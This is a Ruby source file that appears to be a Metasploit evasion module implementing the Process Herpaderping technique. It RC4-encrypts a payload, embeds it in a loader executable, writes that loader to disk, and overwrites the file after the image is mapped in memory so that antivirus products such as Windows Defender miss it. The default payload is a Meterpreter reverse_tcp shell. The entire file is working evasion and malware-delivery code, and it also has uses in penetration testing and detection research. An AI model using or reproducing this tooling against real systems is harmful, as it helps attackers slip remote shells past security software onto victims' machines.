193 lines
6.6 KiB
Ruby
193 lines
6.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'metasploit/framework/compiler/windows'
|
|
|
|
class MetasploitModule < Msf::Evasion
|
|
|
|
# These constants must match the constants defined in the PE loader code (ProcessHerpaderpingTemplate.cpp)
|
|
MAX_JUNK_SIZE = 1024
|
|
MAX_PAYLOAD_SIZE = 8192
|
|
MAX_KEY_SIZE = 64
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
merge_info(
|
|
info,
|
|
'Name' => 'Process Herpaderping evasion technique',
|
|
'Description' => %q{
|
|
This module allows you to generate a Windows executable that evades security
|
|
products such as Windows Defender, Avast, etc. This uses the Process
|
|
Herpaderping technique to bypass Antivirus detection. This method consists in
|
|
obscuring the behavior of a running process by modifying the executable on disk
|
|
after the image has been mapped in memory (more details https://jxy-s.github.io/herpaderping/).
|
|
|
|
First, the chosen payload is encrypted and embedded in a loader Portable
|
|
Executable (PE) file. This file is then included in the final executable. Once
|
|
this executable is launched on the target, the loader PE is dropped on disk and
|
|
executed, following the Process Herpaderping technique. Note that the name of
|
|
the file that is being dropped is randomly generated. However, it is possible
|
|
to configure the destination path from Metasploit (see WRITEABLE_DIR option
|
|
description).
|
|
|
|
Here is the main workflow:
|
|
1. Retrieve the target name (where the PE loader will be dropped).
|
|
2. Retrieve the PE loader from the binary and write it on disk.
|
|
3. Create a section object and create a process from the mapped image.
|
|
4. Modify the file content on disk by copying another (inoffensive) executable
|
|
or by using random bytes (see REPLACED_WITH_FILE option description).
|
|
5. Create the main Thread.
|
|
|
|
The source code is based on Johnny Shaw's PoC (https://github.com/jxy-s/herpaderping).
|
|
},
|
|
'Author' => [
|
|
'Johnny Shaw', # Research and PoC
|
|
'Christophe De La Fuente' # MSF Module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'URL', 'https://jxy-s.github.io/herpaderping/' ],
|
|
[ 'URL', 'https://github.com/jxy-s/herpaderping' ],
|
|
],
|
|
'Platform' => 'windows',
|
|
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
|
'Payload' => { 'ForceEncode' => true },
|
|
'Targets' => [
|
|
[
|
|
'Microsoft Windows (x64)',
|
|
{
|
|
'Arch' => ARCH_X64,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Microsoft Windows (x86)',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
]
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('ENCODER', [
|
|
false,
|
|
'A specific encoder to use (automatically selected if not set)',
|
|
nil
|
|
]),
|
|
OptString.new('WRITEABLE_DIR', [
|
|
true,
|
|
'Where to write the loader on disk',
|
|
'%TEMP%'
|
|
]),
|
|
OptString.new('REPLACED_WITH_FILE', [
|
|
false,
|
|
'File to replace the target with. If not set, the target file will be '\
|
|
'filled with random bytes (WARNING! it is likely to be caught by AV).',
|
|
'%SystemRoot%\\System32\\calc.exe'
|
|
])
|
|
])
|
|
end
|
|
|
|
def patch_binary(bin, tag, value)
|
|
placeholder = bin.index(tag)
|
|
unless placeholder
|
|
fail_with(Failure::BadConfig, "Invalid source binary: missing \"#{tag}\" tag")
|
|
end
|
|
|
|
bin[placeholder, value.size] = value
|
|
nil
|
|
end
|
|
|
|
def encrypt_payload
|
|
opts = { format: 'rc4', key: rc4_key }
|
|
junk = Rex::Text.rand_text(10..MAX_JUNK_SIZE)
|
|
p = payload.encoded + junk
|
|
vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
|
|
Msf::Simple::Buffer.transform(p, 'raw', nil, opts)
|
|
end
|
|
|
|
def rc4_key
|
|
@rc4_key ||= Rex::Text.rand_text_alpha(32..MAX_KEY_SIZE)
|
|
end
|
|
|
|
def run
|
|
case target.arch.first
|
|
when ARCH_X64
|
|
arch_suffix = 'x64'
|
|
when ARCH_X86
|
|
arch_suffix = 'x86'
|
|
end
|
|
|
|
payload = generate_payload
|
|
if payload.encoded.size > MAX_PAYLOAD_SIZE
|
|
fail_with(Failure::BadConfig,
|
|
"Payload too big: #{payload.encoded.size} bytes (max: #{MAX_PAYLOAD_SIZE})")
|
|
end
|
|
|
|
base_path = ::File.join(
|
|
Msf::Config.data_directory,
|
|
'evasion',
|
|
'windows',
|
|
'process_herpaderping'
|
|
)
|
|
exe_path = ::File.join(base_path, "ProcessHerpaderping_#{arch_suffix}.exe")
|
|
exe_path = ::File.expand_path(exe_path)
|
|
pe = File.binread(exe_path)
|
|
vprint_status("Using #{exe_path}")
|
|
|
|
template_path = ::File.join(base_path, "ProcessHerpaderpingTemplate_#{arch_suffix}.exe")
|
|
template_path = ::File.expand_path(template_path)
|
|
payload_pe = File.binread(template_path)
|
|
vprint_status("Using #{template_path}")
|
|
|
|
patch_binary(payload_pe, 'ENCKEY', rc4_key)
|
|
|
|
vprint_status("RC4 key: #{rc4_key}")
|
|
|
|
encrypted_payload = encrypt_payload
|
|
vprint_status("Encrypted payload size: #{encrypted_payload.size}")
|
|
|
|
size_prefix = [encrypted_payload.size].pack('L<')
|
|
patch_binary(payload_pe, 'PAYLOAD', (size_prefix + encrypted_payload).b)
|
|
vprint_status("Payload PE size #{payload_pe.size}")
|
|
|
|
patch_binary(pe, 'PAYLOAD', payload_pe)
|
|
|
|
target_file_name = Rex::Text.rand_text_alpha_lower(4..10)
|
|
target_path = datastore['WRITEABLE_DIR']
|
|
target_path << '\\' if target_path.last != '\\'
|
|
target_path << target_file_name
|
|
target_path << '.exe'
|
|
patch_binary(pe, 'TARGETFILENAME', target_path.b)
|
|
vprint_status("Target filename will be #{target_path}")
|
|
|
|
replace_path = datastore['REPLACED_WITH_FILE']
|
|
if replace_path.nil? || replace_path.empty?
|
|
replace_path = "\0"
|
|
end
|
|
|
|
patch_binary(pe, 'REPLACEFILENAME', replace_path.b)
|
|
|
|
file_create(pe)
|
|
if arch_suffix == 'x86'
|
|
print_warning(
|
|
"#### WARNING ####\n"\
|
|
"This payload won't work on 32-bit Windows 10 versions from 1511 (build\n"\
|
|
"10586) to 1703 (build 15063), including Windows 10 2016 LTSB (build 14393).\n"\
|
|
"These versions have a bug in the kernel that crashes/BugCheck the OS\n"\
|
|
"when executing this payload. So, to avoid this, the payload won't run if\n"\
|
|
'it detects the OS is one of these versions.'
|
|
)
|
|
end
|
|
end
|
|
end
|